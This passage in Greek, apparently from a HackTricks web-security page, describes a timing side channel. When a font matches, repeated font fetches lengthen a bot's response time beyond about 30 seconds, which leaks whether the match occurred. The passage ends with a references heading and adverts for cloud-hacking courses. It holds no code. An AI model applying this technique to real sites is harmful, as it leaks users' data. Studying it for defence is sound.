Έτσι, αν η γραμματοσειρά δεν ταιριάζει, ο χρόνος απόκρισης κατά την επίσκεψη στον bot αναμένεται να είναι περίπου 30 δευτερόλεπτα. Ωστόσο, αν υπάρχει ταύτιση γραμματοσειράς, θα αποσταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα δικτύου. Ως αποτέλεσμα, θα χρειαστεί περισσότερος χρόνος για να ικανοποιηθεί η συνθήκη τερματισμού και να ληφθεί η απάντηση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως δείκτης για να προσδιοριστεί αν υπάρχει ταύτιση γραμματοσειράς.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks